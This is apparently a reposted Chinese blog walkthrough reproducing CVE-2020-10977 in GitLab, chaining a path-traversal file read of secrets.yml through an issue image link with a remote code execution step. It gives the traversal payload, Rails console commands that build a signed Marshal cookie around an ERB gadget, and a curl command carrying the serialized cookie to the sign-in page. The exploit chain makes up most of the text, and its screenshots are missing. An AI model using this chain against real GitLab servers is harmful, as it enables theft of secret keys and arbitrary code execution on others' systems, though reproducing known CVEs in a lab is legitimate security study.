首页 > 其他 > 详细

gitlab 文件读取+rce复现 CVE202010977

时间:2020-11-19 22:03:40      阅读:491      评论:0      收藏:0      [点我收藏+]

文件读取实现,首先生成两个project

技术分享图片

 再任意一个project添加issue,然后描述如下:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..//opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

技术分享图片

 

 

 将issue move到test1,然后查看及能读取secret.yml内容

技术分享图片

自己搭建一个gitlab(这里称为gitlab2),然后将

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml的secret_key_base修改为读取的secret_key_base。

 

然后打开gitlab-rails终端(依次输入如下命令)

gitlab-rails console production

request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `echo sectest > /tmp/sectes2` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr

puts cookies[:cookie]

技术分享图片

 

 

 执行如下命令

curl -vvv ‘http://127.0.0.1/users/sign_in‘ -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiXSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHNlY3Rlc3QgPiAvdG1wL3NlY3RlczJgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--5d038c1bd555dbf71182215ea9776f186efcfda1"

技术分享图片

查看结果

技术分享图片

 

gitlab 文件读取+rce复现 CVE202010977

原文:https://www.cnblogs.com/yzcxld/p/14008033.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!